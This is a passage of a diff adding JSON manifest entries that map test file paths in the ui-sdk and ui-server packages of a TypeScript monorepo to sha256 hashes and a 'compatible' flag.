"packages/ui-sdk/tests/inference-relay.test.ts":{"sha256":"bcc2d9ec89acece84ce6a0fc63effa2338b2ca1cac4120b25d3f7d9431dcdbf4","compatible":true}, + "packages/ui-sdk/tests/inference-usage.test.ts":{"sha256":"78d634f08901b92f827f6f7d552d1c7f10957d62b4758e2f3d4f35c60294909b","compatible":true}, + "packages/ui-sdk/tests/journal-coverage-schema.test.ts":{"sha256":"7f67f82217c0b8ecb0e7e52d19e0d7c74779299a1360d2522768a1eb1ac67614","compatible":true}, + "packages/ui-sdk/tests/keyed-lock-priority.test.ts":{"sha256":"beeb377fe88da43711bc0f0e9bf8ebfa60644065426b6a08da88ac90b01dd9f2","compatible":true}, + "packages/ui-sdk/tests/keyed-lock.test.ts":{"sha256":"985f48734a0da8f7f8895bd51bb7d6f53d64c699cabb02a90050f9d70598b73c","compatible":true}, + "packages/ui-sdk/tests/loaded-sdk.test.ts":{"sha256":"e5b94be8ef960caefc35989b6a51d0d14e6c5a197b94364a01a55e0374b7eb43","compatible":true}, + "packages/ui-sdk/tests/maintenance-git-scaffolds.test.ts":{"sha256":"2cfea9305c7360fd8a6b5c1b935fc85b4acbc8730b7f21441753f1f091056b12","compatible":true}, + "packages/ui-sdk/tests/maintenance-helper-admission.test.ts":{"sha256":"375afed61c442941a86d9bd872a481e97c5a03b49f7f6a1985c870aac08b60cd","compatible":true}, + "packages/ui-sdk/tests/maintenance-index-input.test.ts":{"sha256":"eb4ff6e9e04a9efc278d85ae2bd3d79731165a7a9a7e9971b3f78833be5e9087","compatible":true}, + "packages/ui-sdk/tests/maintenance-mask-failure.test.ts":{"sha256":"5f47a8687759599a097f15b499dc2d2451ac239da4797970fbaf29c3e2f40465","compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-budget.test.ts":{"sha256":"dcc4387457e79b46bbbba241911aae466975a2960b32bb9624a810f641c9a93d","compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-helpers.test.ts":{"sha256":"30b71f5aa761ea1eeb090527c71ede1be7c75b2b3183c16dfce678044cb365bb","compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-holders.test.ts":{"sha256":"16373e230c2268c4b990cbc7061137546574a01841f823f5bf52b0ed3a1b3087","compatible":true}, + "packages/ui-sdk/tests/maintenance-temp-ledger-protocol.test.ts":{"sha256":"6e34e1bf21453968f33130096081d4745d2c64719c270891996c9fec7ef4f40b","compatible":true}, + "packages/ui-sdk/tests/maintenance-temp.test.ts":{"sha256":"c6d1183b2aec3fc4672ca89dfe8e403e9fa369694535606466e55bbb3b8ea8c1","compatible":true}, + "packages/ui-sdk/tests/maintenance-worker-kill.test.ts":{"sha256":"7430afd639b455486f58dfced381885721a2376b90c1f22b7f922754fe8c45db","compatible":true}, + "packages/ui-sdk/tests/maintenance-worker.test.ts":{"sha256":"ad564a022a613921d81db993fc6a991b3f64df0237909b6454649cbb4f4a5643","compatible":true}, + "packages/ui-sdk/tests/mask-produced-paths.test.ts":{"sha256":"dd10197cdcf3a99aa41b4a3eb8f86efc3e51603c5b9b5a349440eabbf74ea7a9","compatible":true}, + "packages/ui-sdk/tests/mask-races.test.ts":{"sha256":"ffedbef16672e18e89d95ba9e7b0e0f57925d42882f00e2868f3206e599a32a0","compatible":true}, + "packages/ui-sdk/tests/mask-scratch.test.ts":{"sha256":"1d49d3e276ca7137c85a7a64ced442cf65a1a1a599380318fff4d96edfa886ff","compatible":true}, + "packages/ui-sdk/tests/message-source.test.ts":{"sha256":"23976df7541e8bfd78e07728084c95de0ad483891c1988c97f99fa72a4a276c1","compatible":true}, + "packages/ui-sdk/tests/native-brain-delta.test.ts":{"sha256":"d5a495c7f7cbe99880d93cdc39ff1b721f553e15c25bbbc572d79f59918900e8","compatible":true}, + "packages/ui-sdk/tests/native-brain-manager.test.ts":{"sha256":"106888ea29a1db360e759daac4e500a8b9542cc30d6134e37cf975ca7ac3d511","compatible":false}, + "packages/ui-sdk/tests/native-checkpoint-path-bounds.test.ts":{"sha256":"4279d1f721bb49bd84b7dcf4a4a1c39525265d630f64f68505ef7952b8d6ba56","compatible":true}, + "packages/ui-sdk/tests/native-git-discard.test.ts":{"sha256":"9cd2c67bf320110fdbd3a64d2ff3b5478707165c09918755ac705c2736d0432d","compatible":true}, + "packages/ui-sdk/tests/native-identity-inspector.test.ts":{"sha256":"d0e159c2bced674a89286d943e6ae4e7a674f6c60156954c4452158f9f422e62","compatible":true}, + "packages/ui-sdk/tests/native-intent-recovery.test.ts":{"sha256":"6d1c5c9ec75f979a559c91a8da55ccc726f81fb18d80f0fb4e3f3d82b916761f","compatible":true}, + "packages/ui-sdk/tests/native-manager-capacity.test.ts":{"sha256":"d83d6b0699cfb7f047ac028e80244770b9c5909cf7fb80d8a5245af33ddeca5e","compatible":false}, + "packages/ui-sdk/tests/native-manager-turn-trees.test.ts":{"sha256":"ca550de342db21dc3515f1b4ba24a7ebf07fd6e4dc9bfd8c8f318dc9681ebd9c","compatible":false}, + "packages/ui-sdk/tests/native-observation-storage.test.ts":{"sha256":"3273a249cf9dd85919fb5904e68342f5678c4e6747b6f78325e7e5e811ce9dea","compatible":true}, + "packages/ui-sdk/tests/native-recovery-index.test.ts":{"sha256":"01dc55e86aac49d663c840a7314005e5322c08215d0ae3a647cd0024f1a1cdd1","compatible":true}, + "packages/ui-sdk/tests/native-reference-pool.test.ts":{"sha256":"8002e0f4258dcc429f9e0677ed9cf3b3c2737a9c1bd9a1d0d9330f2215f720da","compatible":true}, + "packages/ui-sdk/tests/native-worker-publication.test.ts":{"sha256":"a5b7ee96aa3e681b7c7927d742ccffe00d244c65e9791d5be611851cdd08cb68","compatible":false}, + "packages/ui-sdk/tests/native-worker-startup-view.test.ts":{"sha256":"051b3665a098b6bb255628b62796ab4eb272c624be0cb0500878f33ab20e9b4f","compatible":false}, + "packages/ui-sdk/tests/native-worker-view.test.ts":{"sha256":"6a43a295f635a30a8b846e0d17f14cdc4895c835ca4ff689dd2635675ac87caf","compatible":true}, + "packages/ui-sdk/tests/outward-actions.test.ts":{"sha256":"4f0bb94b016d78e299e490d5233975f54e2080e42053e5e4b6e338d69302c1e1","compatible":true}, + "packages/ui-sdk/tests/owned-prune-variant.test.ts":{"sha256":"f5ea539e442b0928db4b579e88a6e3e77fb41d400c608f94e5f50165a75bbf98","compatible":true}, + "packages/ui-sdk/tests/permission-gate.test.ts":{"sha256":"3625f71a98bc8cfac0cdd40934edac4972c9719e48f02517ee9d738436b7ee94","compatible":true}, + "packages/ui-sdk/tests/places.test.ts":{"sha256":"4756f937b8f93cab32013038fb2985c2ba5a6cf55efbf50018aecee5297b06e2","compatible":true}, + "packages/ui-sdk/tests/provider-cache-masks.test.ts":{"sha256":"70f79d89ebfa22584dd94c9ca6d19831f3a9c05656ebbbc71c1003e549aae409","compatible":true}, + "packages/ui-sdk/tests/provider-mask-mounts.test.ts":{"sha256":"7fcb8bf65a139f445eec6faa99fd3428fd9070a8804c159a3dfd1af3663fcab6","compatible":true}, + "packages/ui-sdk/tests/provider-relay-files.test.ts":{"sha256":"4b4b8adc79cb4afd0c88f54b797a06fcc78f890951d5c53f3727d012a48898d9","compatible":true}, + "packages/ui-sdk/tests/provider-relay-refusal.test.ts":{"sha256":"477b94f25beb0b37e72d37bc3b68510765cba9618e1bbcce496e33c8a2cc9a5b","compatible":true}, + "packages/ui-sdk/tests/provider-relay.test.ts":{"sha256":"6453563fcb1a11b9fe1c9d1b30954cd68bbfa696a35c03405d7835661f4516bb","compatible":true}, + "packages/ui-sdk/tests/refused-launch-gate.test.ts":{"sha256":"cad1faa5a990583cf72bfa629c8a3d76f11503b4fff89c7f1e11a79e5fc55121","compatible":true}, + "packages/ui-sdk/tests/registries.test.ts":{"sha256":"41b24653dbb524f99f2901d2baf5abf5a413c89158c601b06f88c8380f7c8a84","compatible":true}, + "packages/ui-sdk/tests/relay-failure-causes.test.ts":{"sha256":"910da011e0ed6f9f55eb84bde209315d50967c867a6211de620d9a524fdc195f","compatible":true}, + "packages/ui-sdk/tests/retry-protocol.test.ts":{"sha256":"24562504959ef81b762869feffacec7e18c5a01455e6194d99e140881ff6f511","compatible":true}, + "packages/ui-sdk/tests/reverse-geocode.test.ts":{"sha256":"0392f76deb127a4e9c41512fc01b2d4a0e476c3cb1ca781a253e33210efd9fa1","compatible":true}, + "packages/ui-sdk/tests/rtk.test.ts":{"sha256":"ce793d4ed8ef78dc10b6908fa12aceb1ed27f97555c3e457635b32bdb79161ed","compatible":true}, + "packages/ui-sdk/tests/safety-admission-contract.test.ts":{"sha256":"00f6dc255353f978d3a9078cf46cf87b5aec3a4bf3693216cfcee17f2aad9b02","compatible":true}, + "packages/ui-sdk/tests/safety-review-contract.test.ts":{"sha256":"45da8903bf0688e34fbc6cf138c45db879a9949542d6a7c05f3d226e1db9490e","compatible":true}, + "packages/ui-sdk/tests/schemas.test.ts":{"sha256":"d1ac14a82a9ad8b379537db46473a781471899c6b3d68c9ed54dcc7b23d3fad5","compatible":true}, + "packages/ui-sdk/tests/scope-contract.test.ts":{"sha256":"b093c1448ac992415d4ef175b7fdd0b81304cad5b6d61ebf6a7d8d842083c9c2","compatible":true}, + "packages/ui-sdk/tests/sequence-maps.test.ts":{"sha256":"4a8bb1256abcd22d022d96a48cd2929251072486c6de5f7f822eea2234ab8e6e","compatible":true}, + "packages/ui-sdk/tests/server-schemas.test.ts":{"sha256":"106ae2ae6a240291ad0e2ec8c7b0b96e3849be78589d46af0f65ec471cba2a3d","compatible":true}, + "packages/ui-sdk/tests/session-prompt-context.test.ts":{"sha256":"d8a223925b09660ca42617d1e1d070e6235ea40174acb5033d02fc87d27c3fe2","compatible":true}, + "packages/ui-sdk/tests/session-replay.test.ts":{"sha256":"3d79e4578995a77267ed987ffb4ad12cbadc49fb5a45604cb8456381896ba0a1","compatible":true}, + "packages/ui-sdk/tests/share-target.test.ts":{"sha256":"f25b54cd61667a71d1960d2c9c35edab64870ecd2ac39fc174668e94e0bc17e6","compatible":true}, + "packages/ui-sdk/tests/show-block-files.test.ts":{"sha256":"5e4af2f60bbe6d998beb4ac819458e6ab089ce7cf2ab471c4101eb040512ad8d","compatible":true}, + "packages/ui-sdk/tests/show-block-graph.test.ts":{"sha256":"56b1f97d5e5fd21decb834a6c09d4c4be707cbf63c4c79605504bb4e6e687b3d","compatible":true}, + "packages/ui-sdk/tests/show-block-link.test.ts":{"sha256":"369a15f86fce77ac2c1f955e2de5ee427ea08ed3c6ca14a72ea507b230420fcc","compatible":true}, + "packages/ui-sdk/tests/show-block-track.test.ts":{"sha256":"0bea2a5d173bf4c83d09618f429b683774fe3e682c62d31d2dc24400e9fa807c","compatible":true}, + "packages/ui-sdk/tests/show-block-tracker.test.ts":{"sha256":"06cca50372d9faa7a866d88704d2ce43d482a2cb8a1bb88725384b1abd215ef4","compatible":true}, + "packages/ui-sdk/tests/startup-input-accounting.test.ts":{"sha256":"be932051ada0e19ec15348f3a93497e59749f5b37f042f5066c9675d372f4aa3","compatible":true}, + "packages/ui-sdk/tests/startup-timing.test.ts":{"sha256":"aecd29cc3d6d9a8ee027ff5b8d70b438a916620692b1f2b0bfeb30484cd353dc","compatible":true}, + "packages/ui-sdk/tests/state-room-protocol.test.ts":{"sha256":"8121d1ba0b3e176558d34627c426df112452f43d995fcf3a3373eb25dac2ba2a","compatible":true}, + "packages/ui-sdk/tests/subprocess-env.test.ts":{"sha256":"21d5587f7b47c07d015590c67e8f360c4f19fdf0d1a300a571cb0d1fb552be82","compatible":true}, + "packages/ui-sdk/tests/sw-policy.test.ts":{"sha256":"6650de78616acb99a8a92b67a2a2dbc9b3be43b6b19dcfc642fa3b57b842c966","compatible":true}, + "packages/ui-sdk/tests/tool-contracts.test.ts":{"sha256":"332827bf1879622520bfa8061b8edc5035764de412e5ae31280fb42848fc7a41","compatible":true}, + "packages/ui-sdk/tests/transcript-store.test.ts":{"sha256":"a0a797674e78fa281102a8901703276c871f6e604eb76b893a583ab8cb97a45a","compatible":true}, + "packages/ui-sdk/tests/turn-failure.test.ts":{"sha256":"a98a119a46905e015b81dc1556923de59a9cd2f52d73e826ac1025691d2b533b","compatible":true}, + "packages/ui-sdk/tests/turn-temp-tool.test.ts":{"sha256":"803873dd105f8b80e75cf068527f3b764d905cee1fe51cc42015d741df86e1bd","compatible":true}, + "packages/ui-sdk/tests/version-probe.test.ts":{"sha256":"692fd05174d3204ffcfcbfd78788a096c0695f06e2df7505171dab8f48a16f7e","compatible":true}, + "packages/ui-sdk/tests/version-requirements.test.ts":{"sha256":"484b2b89c6275c7c98ad7925148cdcb5917b5a074078a07bdcd83ab6ee1a020f","compatible":true}, + "packages/ui-sdk/tests/web-search.test.ts":{"sha256":"b70422d2ebc7a87350eb53878b55bca73a04301ead74f05d660e6777644a7801","compatible":true}, + "packages/ui-sdk/tests/worker-control-evidence.test.ts":{"sha256":"a8f8578d6cfab67b82a9af27545d64f6e9c591443fa35adfedeeb762e92aa3bc","compatible":true}, + "packages/ui-sdk/tests/worker-data-tree.test.ts":{"sha256":"28373edfec46def258a24222e16504efb249997303af7849f572b1235cdd1799","compatible":true}, + "packages/ui-sdk/tests/worker-file-observer.test.ts":{"sha256":"d19127c268f6ef636dad75db86a4dfa17939e73d7ba77a757e34e075131b5ec8","compatible":true}, + "packages/ui-sdk/tests/worker-filesystem-filter.test.ts":{"sha256":"7f84bbe2b819efc5a3267250fefab566e566da25ebe2499a3d53c597fa2685c3","compatible":true}, + "packages/ui-sdk/tests/worker-host-refusal.test.ts":{"sha256":"c82ef7904bd49b0c5f18275770e2c2a115e2d173f0102b1731dc94dfef2f96c3","compatible":true}, + "packages/ui-sdk/tests/worker-identity-progress.test.ts":{"sha256":"542f835973972ef4454935a4a03c6e19a8244700a26e7e454584c52f796aef26","compatible":false}, + "packages/ui-sdk/tests/worker-import-order.test.ts":{"sha256":"edf664495426083bfd113811dce285ca240fa6020ff68a8123d6f5b19bbae52b","compatible":true}, + "packages/ui-sdk/tests/worker-launcher.test.ts":{"sha256":"ebda352cdf2282d6340fe383471dc41dcf0b0926b005148514c78c5405eb5bbe","compatible":false}, + "packages/ui-sdk/tests/worker-limits.test.ts":{"sha256":"3a1a8562e8bad199f9d84ccfa0a40eb476a55f99eeafffc1371c47e29bd63201","compatible":true}, + "packages/ui-sdk/tests/worker-mountinfo-read.test.ts":{"sha256":"0ae757ac9dfc30eb03e088da4fefdb796614e8533e45e656818fe846ced993ba","compatible":true}, + "packages/ui-sdk/tests/worker-output-budget.test.ts":{"sha256":"f0fa9ae0bf8dbbaf0f37e4b1af8035334b707df5f7a15f37ad7d6d3e214820e2","compatible":true}, + "packages/ui-sdk/tests/worker-pipes.test.ts":{"sha256":"4c8933a612bda2105c9eaabee737f59162cb33523150ff7bedb01567b7463f03","compatible":true}, + "packages/ui-sdk/tests/worker-provider-keys.test.ts":{"sha256":"8946521e6b62dcc883d4a81bed9e6fb4f2b3499a48b18245cfbb988cb70acfce","compatible":true}, + "packages/ui-sdk/tests/worker-provider-relay.test.ts":{"sha256":"bd59f075a8abcb40e0414be7c76e3f08953386a8ff88d7abd05881124d7a6573","compatible":true}, + "packages/ui-sdk/tests/worker-runtime-placement.test.ts":{"sha256":"8a05bf2d2267cb9253042393d2392cf8b3c1323349504d9e38b8baf2d7d89d52","compatible":true}, + "packages/ui-sdk/tests/worker-sandbox.test.ts":{"sha256":"257d5a554699c5d210908f3ae2404e8b4ecfb5d95791847bded847acdec6d931","compatible":false}, + "packages/ui-sdk/tests/worker-startup-view.test.ts":{"sha256":"2fb181ac05d79006f4a47952aa9b56a0b5b27c76b3c43f81907e5ef2757dbd59","compatible":true}, + "packages/ui-sdk/tests/worker-state-mount.test.ts":{"sha256":"d7599cbbd42a03e671d91d86afb4a4548c859bda0fb9c79a6caa63fafc89a271","compatible":true}, + "packages/ui-sdk/tests/worker-status.test.ts":{"sha256":"10878efcfe7e4af1e715d7cb42abb26361f3a6ba16e4a8ceaf3902414311f809","compatible":true}, + "packages/ui-sdk/tests/worker-steps-event-loop.test.ts":{"sha256":"dd28cef9c707465b2f21c59b5b9f98b19bf082e962d9b76cb1450bfc5b876626","compatible":false}, + "packages/ui-sdk/tests/worker-turn-temp.test.ts":{"sha256":"89b4aeb0342c039375d4b2a91a17826301e8ae06f5aca503b31dc5a9802413c9","compatible":true}, + "packages/ui-sdk/tests/worker-var-sockets.test.ts":{"sha256":"c71576f6b39f0f0fab0fd3eac0ffb7f415f37719c7f60bb16234ec6d2e21a600","compatible":true}, + "packages/ui-sdk/tests/workspace-refusal.test.ts":{"sha256":"29beaacb8e77a683385d66df0048314a463f4a0a788eada240e3abbdfd931c13","compatible":true}, + "packages/ui-sdk/tests/write-lock.test.ts":{"sha256":"387f126945da117534c3a9292fdd4e8e72475f537c30c70c7fa1918fa3cacf4c","compatible":true}, + "packages/ui-sdk/tests/ws-client-liveness.test.ts":{"sha256":"aca4e7e81e32a273eff5f1aae0208f1dab87da3c8642adcb6ca3334706de426e","compatible":true}, + "packages/ui-sdk/tests/ws-client.test.ts":{"sha256":"011ded0a19f171716f37c384d07cdf76052b7abe26fcdd609d30dab8b9a6877d","compatible":true}, + "packages/ui-server/tests/account-partition.test.ts":{"sha256":"0548a213fe3f26c558f244bbc6c763c689aede813f2dda9ae25778dc6953315a","compatible":true}, + "packages/ui-server/tests/account-writes-offloop.test.ts":{"sha256":"58206aca9b0619bc20c404b014ef1d2ef5d304310dd3e898909d7489c2f8befc","compatible":true}, + "packages/ui-server/tests/action-notify-offloop.test.ts":{"sha256":"11b4e059a33053c21756a863f6fde28c220d4c35b8429afa6a2554b0f0c2f2d3","compatible":true}, + "packages/ui-server/tests/activity-compute-origin.test.ts":{"sha256":"2ee035c553d435d24e8507bead74199f2fab6d6840f681dadc1a3bcf4d108cd5","compatible":true}, + "packages/ui-server/tests/activity-digest.test.ts":{"sha256":"4114914bdda906740f5f1e5f0b2c337e1d70e5c9d10f12e05c5c3d0cf41ee61f","compatible":true}, + "packages/ui-server/tests/activity-notify.test.ts":{"sha256":"06172b19fded7f747a091ff1872a1457395311fdca4f77304ec57ecbe58197a6","compatible":true}, + "packages/ui-server/tests/activity-offloop.test.ts":{"sha256":"747d0cc07dfe8ccd9396de19f3632a7d92a7803a92f2c1914a1625981dcfc558","compatible":true}, + "packages/ui-server/tests/activity-query-lifecycle.test.ts":{"sha256":"42cbe65397ed3cfba940bbb2d16bb244448adfd162837eb013653493f69b6496","compatible":true}, + "packages/ui-server/tests/activity-recorder.test.ts":{"sha256":"392e505542ae04beb908bf774789be8f2194c960612de44ab3a7bb347fb86ca8","compatible":true}, + "packages/ui-server/tests/activity-rollup-rounding.test.ts":{"sha256":"edbe1d785a16743560a954dfdc3eb7f6f298647bd2e4df5d11cf3922de494bbb","compatible":true}, + "packages/ui-server/tests/activity-runtime.test.ts":{"sha256":"5c158b351cd4ecf3b5fa3dc675c31a2ae5f85556f9bc7a3b1c8d85ea141b469d","compatible":true}, + "packages/ui-server/tests/activity-snapshot-consistency.test.ts":{"sha256":"ad4f1134e705078cca176a108817e4b402f8772c8273bfa17f5539de4099ed38","compatible":true}, + "packages/ui-server/tests/activity-stats.test.ts":{"sha256":"e8b144e76b59a1e7374bb90bc66a1f911a7addf549dc70e204f9a7428954d929","compatible":true}, + "packages/ui-server/tests/activity-store.test.ts":{"sha256":"708e6192c502afe5b94d3bf73585b7e1f02d6765518f74cec0ffbb40ef5ffdb4","compatible":true}, + "packages/ui-server/tests/activity-sweep.test.ts":{"sha256":"20263a48db9cc787db8bdd52431401e5170ad74d5528e56420ab0c39bfb1890d","compatible":true}, + "packages/ui-server/tests/admission-sub-phases.test.ts":{"sha256":"1a75e48e2dcc39a833e34b5c493e8aa73d6c703d4f1fd7e357ebc9cfc4c2b789","compatible":true}, + "packages/ui-server/tests/apify-authority.test.ts":{"sha256":"fd4e25fae86d5c634285b5c503bb151f18050b24e1477c46244bcb8ff124e429","compatible":true}, + "packages/ui-server/tests/apify-consent.test.ts":{"sha256":"64700daf2039250741a41ecd05cf3b12779b148c90667ecab8dbf14a69d1da32","compatible":true}, + "packages/ui-server/tests/apify-front-doors.test.ts":{"sha256":"29ab6a4303c8d36b74b0311273db963859711a406512ef0503090f3a30cef246","compatible":true}, + "packages/ui-server/tests/apify-pi-worker.test.ts":{"sha256":"1c18706d07bb2304502a5275629d111e5b92887d537fdccad57eacc57494619a","compatible":true}, + "packages/ui-server/tests/apify-robots.test.ts":{"sha256":"707be46893ee8514bed9f8e0ffe138d7dbf7ce6a50dcbb5aca9556d43263e2cc","compatible":true}, + "packages/ui-server/tests/apify-runs.test.ts":{"sha256":"f282d26c28329547d939a242b5d1da83929186e0a64efbebe40f87cd62544eec","compatible":true}, + "packages/ui-server/tests/apify-settings.test.ts":{"sha256":"fe416480544ddf2f8697e15271d6ed9be78d10b77015ad1760b4d8be5bfc7711","compatible":true}, + "packages/ui-server/tests/apify-turn-budgets.test.ts":{"sha256":"761355ed76bbd7bdc3f2576c0728ca139199e7c70d300e86f55f5e2e2f6167b2","compatible":true}, + "packages/ui-server/tests/app-http-drain-runtime.test.ts":{"sha256":"c23e893deb88f2a13f06829b6ef6959e383677b672a5eca47113243eb9fee420","compatible":true}, + "packages/ui-server/tests/app-http-drain.test.ts":{"sha256":"c8278c5e83db92728e81663a0c394373631ea86ed9b3ae3eb11a9f0105b6cad3","compatible":true}, + "packages/ui-server/tests/app-metadata-cancellation.test.ts":{"sha256":"2600a545620c32e65d5d118d40c6bd183e0a5c4bf9ffa3b3322c55b56bfdeccb","compatible":true}, + "packages/ui-server/tests/app-native-cleanup.test.ts":{"sha256":"d924726d989c28e3009143a05b085844574abeb1310bfbf60ad1b5250e1752b1","compatible":true}, + "packages/ui-server/tests/app-state-isolation.test.ts":{"sha256":"ba03602ff3fb0da91d3d69fa8ec9dfb7e9c42be8699bbd9db26674195b5cda03","compatible":true}, + "packages/ui-server/tests/app-wiring.test.ts":{"sha256":"d466594f38b5f886295a63eb2b2a87c234660041f25a159e17a047bd1eb1cb29","compatible":true}, + "packages/ui-server/tests/app-write-guard.test.ts":{"sha256":"caefc6a8ccea306cc00fedc68013bb1420a47cacee5396c519357439bc8e1bd0","compatible":true}, + "packages/ui-server/tests/app-writer-cleanup.test.ts":{"sha256":"050902cb0a48bf44aa01eb39e1a5c4a50e9c5f1ef7a4e233089039699fd15408","compatible":true}, + "packages/ui-server/tests/app-writes-offloop.test.ts":{"sha256":"c10694e8004a2f6d071cb3cf5a399e9512a96700b71775d985fd54edb8f35d8c","compatible":true}, + "packages/ui-server/tests/application-index-batch.test.ts":{"sha256":"dbdbe2b4986856399a7b1041f3d056fb1539b38b7e7c255bf9d2dc5933a57ca8","compatible":true}, + "packages/ui-server/tests/application-index-timing.test.ts":{"sha256":"d8a343a8486a2884d28a0a232046561a80bacfff9a4afeaad26b7ef542e1cbb1","compatible":true}, + "packages/ui-server/tests/approval-scope-isolation.test.ts":{"sha256":"f2b6640b262f09e3d85d3591c15dc09783b7d0d134d91f02c83ba96a1ee174ae","compatible":true}, + "packages/ui-server/tests/approval-session-binding.test.ts":{"sha256":"9c5f8de9e75eafbb2b25ac9ac485d100582543f8c6afa686c08c4825c9d884dd","compatible":true}, + "packages/ui-server/tests/attachment-detect.test.ts":{"sha256":"bee528c00ddd39d7b9f1e0bac29e4966006e626a6e3dc40e4066bf959cc4990d","compatible":true}, + "packages/ui-server/tests/attachment-extract.test.ts":{"sha256":"a21898fe29d2a120ef48dc5144a167e7d4b8ea77adf5e0f2437478f8467aa4ea","compatible":true}, + "packages/ui-server/tests/attachment-ownership.test.ts":{"sha256":"b8bf1a7a6a23ea30d2b61290c777d47007b250a20fbce864876adbecb27ba64e","compatible":true}, + "packages/ui-server/tests/attachment-read-tool.test.ts":{"sha256":"fc21934288900b77947b91913b72532dc50c64eaf42a7b0e82a18574173bd7bc","compatible":true}, + "packages/ui-server/tests/attachment-reads-delivery.test.ts":{"sha256":"ec046204d7d89fdc6a2fb3518de4c90ca9201da15fc7bade161779d3f37816e6","compatible":true}, + "packages/ui-server/tests/attachment-routes.test.ts":{"sha256":"15155a2c04675cf8b27df299bb61e9026986986fb3ff0ebbd220c1c1b6ea63b4","compatible":true}, + "packages/ui-server/tests/attachment-sweep.test.ts":{"sha256":"6ae1c139fa5e3cb8265b340029ace0b8bc772c9618c14ddf39654ae07a46c24c","compatible":true}, + "packages/ui-server/tests/auth.test.ts":{"sha256":"c6c52071d4017ce7c9ea7fa016bde6216d5913c6a993c7e4c5931aa3d5612ab6","compatible":true}, + "packages/ui-server/tests/authority-hold.test.ts":{"sha256":"d2e281802e7db75c01f5d216767cf4b9907bfadaa979c67d18c09739a0bbf3e7","compatible":true}, + "packages/ui-server/tests/automatic-index-requeue.test.ts":{"sha256":"f8e222392a08be47db9aa05d56a658cfd7eefd63b83c6bcac5466889ee8ed263","compatible":true}, + "packages/ui-server/tests/autonomous-provider-masks.test.ts":{"sha256":"117faecc0359b2c96b5d6064347227808358efa00c1606f7a86990f7af439dea","compatible":true}, + "packages/ui-server/tests/autonomous-thread-provenance.test.ts":{"sha256":"996110dd5165c98765e199b03036ebb9ed13d6962c43adea90be6b6e4eafdc21","compatible":true}, + "packages/ui-server/tests/autonomous-turn.test.ts":{"sha256":"ac8746cbfc297e705a3ebcd333479c89d733df74616e23ebfa452790bd8aa5a9","compatible":true}, + "packages/ui-server/tests/backend-boot.test.ts":{"sha256":"52b8eb920c311e500f6189738d5f59617b87c5a0a007df1e0cfa40bb5366704d","compatible":true}, + "packages/ui-server/tests/backend-host-exec.test.ts":{"sha256":"58fd8a46a06b1a6207d1d7039859a8925ca7ca0d0dff12f189a7672d7c1f22b0","compatible":true}, + "packages/ui-server/tests/backend-registry.test.ts":{"sha256":"912ec1ed89f750fbb4529b183cc763260312040169103b2ec7c667c6453e96b1","compatible":true}, + "packages/ui-server/tests/backend-startup-timing.test.ts":{"sha256":"8f7aa283b58caecaa9ff47c109fecc1c3732c605b7a324de9f42affb1a0c74a5","compatible":true}, + "packages/ui-server/tests/boot-probe-deadline.test.ts":{"sha256":"64a96c07ba2f27887e58403b86686de8e984bc67282023bd0820f9d10559f4b1","compatible":true}, + "packages/ui-server/tests/brain-application-adapters.test.ts":{"sha256":"6ce2ff6dc41ca12ae7c447849e0f07133bd50541d28ccd63c1c87631b74215e2","compatible":true}, + "packages/ui-server/tests/brain-application.test.ts":{"sha256":"7722c04785d8e3450410217fe1c34ca550748cae328c621c0ac7d1c7d8e85787","compatible":true}, + "packages/ui-server/tests/brain-client.test.ts":{"sha256":"1674b30d16f99bccb3384163059c896b9277e935ead3bd7cf121d1f965655b54","compatible":true}, + "packages/ui-server/tests/brain-markup-application.test.ts":{"sha256":"8daf805159df1f4a8df379e0c8fcf05bfad90d856078aec1d1162ab321bd913d","compatible":true}, + "packages/ui-server/tests/brain-mask-application.test.ts":{"sha256":"935d0a93eeddbb7217f96b01a2072a8acc2bd569530b03999c7fe2defeb40426","compatible":true}, + "packages/ui-server/tests/brain-sse-terminal.test.ts":{"sha256":"dd49398036c36824bccb06dee666b08a9b1401a27fec08cf46a4955205a80250","compatible":true}, + "packages/ui-server/tests/bridge-capabilities.test.ts":{"sha256":"5b4e986298008aaa1fade9a8788d5aa543ca7c35028acbcc9c578ee26ff55aa1","compatible":true}, + "packages/ui-server/tests/bundled-claude.test.ts":{"sha256":"cfd3a02fad82c8d91ae011550f9687dc8d6f777fb4b7dd608260ef28312f1da5","compatible":true}, + "packages/ui-server/tests/cache-diagnostics.test.ts":{"sha256":"d7cff5b554ae00d27bfffef786570fba53b3be104c354ff3d55c4b8029e196f5","compatible":true}, + "packages/ui-server/tests/capture-outcome.test.ts":{"sha256":"ccc7fa00d92f78d7e648b47d380c49f962c0373603c44a828efdfbffe7d4fa9b","compatible":true}, + "packages/ui-server/tests/chat-deletion-http.test.ts":{"sha256":"4a1d92da4cf8adf03b356d2bfce17dc913d37141de16b302f6894772fb5372f4","compatible":true}, + "packages/ui-server/tests/chat-deletion.test.ts":{"sha256":"e54c7092aad9c73cab86dc69de7271727d148c5c1cefb77277b34aec10cbb145","compatible":true}, + "packages/ui-server/tests/chat-lifecycle.test.ts":{"sha256":"ac7fe7c90fb2060905244faf71a4296c40a61a62d9c64eeb69980e15dd9bd9c4","compatible":true}, + "packages/ui-server/tests/chat-session-owner.test.ts":{"sha256":"65ad52decbe10e5df77770f9856986054b908a4d087456a948de20df36531174","compatible":true}, + "packages/ui-server/tests/classification.test.ts":{"sha256":"7a29f6d68f6221dd08447f32393dcd90c5415aa217492296fb8209ae1233f289","compatible":true}, + "packages/ui-server/tests/claude-cancellation.test.ts":{"sha256":"d7cab7fc56e83d079efd001a96ad5c8593cc6513cd5c1a6e5097943d9905ef93","compatible":true}, + "packages/ui-server/tests/claude-effort-models.test.ts":{"sha256":"510107fa434ed200f0cd084d11fad9bb7183b09cb005d9fcf7927d970235a439","compatible":true}, + "packages/ui-server/tests/claude-memory-journal.test.ts":{"sha256":"3b7ae895ed26a434796170aeeeef8e3fd410010f9923efa54df4324eea770da6","compatible":true}, + "packages/ui-server/tests/claude-title-accounting.test.ts":{"sha256":"23915f51946f07faacac6ec3d52430b498a3722bb05bd6a07d289fbac471d7d9","compatible":true}, + "packages/ui-server/tests/claude-usage-accounting.test.ts":{"sha256":"b4a5189c27d931c235b3909e6e382e624274127163957a357b3d6d777d7dccf2","compatible":true}, + "packages/ui-server/tests/cli-inventory.test.ts":{"sha256":"0207be5d6eba6ecf95eff3ef3f4f95daecbf48a31d009d1ab641faf21a1e27b1","compatible":true}, + 